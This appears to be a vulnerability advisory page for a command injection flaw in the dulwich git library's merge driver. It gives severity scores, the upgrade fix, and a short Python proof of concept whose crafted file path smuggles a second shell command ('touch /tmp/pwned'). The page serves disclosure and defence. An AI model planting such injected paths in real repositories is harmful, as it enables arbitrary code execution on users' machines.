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VulnerabilityPublished Updated

CVE-2026-42563: jelmer dulwich · OS Command Injection

Affects jelmer dulwichSource CVE Database V5

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Not known to be exploited · CVSS 7.7 High : upgrade to 1.2.5 soon.

Data as of 30 Oct 2026, 11:52 UTC

CVSS 4.0 base score
7.7High
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.5% chance of exploitation in 30 days – higher than 46% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 1.2.5
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 10 Jun 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

What to do

Upgrade jelmer dulwich to 1.2.5.

Affected software

ProductAffectedFixed in
jelmerdulwichAffected
  • >=0.24.0 <1.2.5
Fixed in
  • 1.2.5
PyPIdulwichpkg:pypi/dulwichOther threatsAffected
  • >=0.24.0 <1.2.5
Fixed in
  • 1.2.5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

Version 1.2.5 of Dulwich fixes this vulnerability. Users should upgrade to version 1.2.5 or later to remediate the issue. Patch status is not explicitly confirmed beyond the version fix; users should verify with the vendor advisory for the latest remediation guidance.

Description

## Summary Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. ## Description - **Type:** Command Injection - **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch) - **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder - **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder. ## Resources - Repository: https://github.com/dulwich/dulwich - Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129) ## Proof of Concept ```python from dulwich.attrs import GitAttributes, Pattern from dulwich.config import ConfigDict from dulwich.merge import merge_blobs from dulwich.objects import Blob # Merge driver with %P (path) - typical for custom merge tools config = ConfigDict() config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A") patterns = [(Pattern(b"*"), {b"merge": b"injectable"})] gitattributes = GitAttributes(patterns) base = Blob.from_string(b"base") ours = Blob.from_string(b"ours") theirs = Blob.from_string(b"theirs") # Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned" malicious_path = b"x; touch /tmp/pwned #" merge_blobs(base, ours, theirs, path=malicious_path, gitattributes=gitattributes, config=config) # => Executes: echo x; touch /tmp/pwned # # => Shell runs: echo x, then touch /tmp/pwned ``` ## Fix [merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)

References

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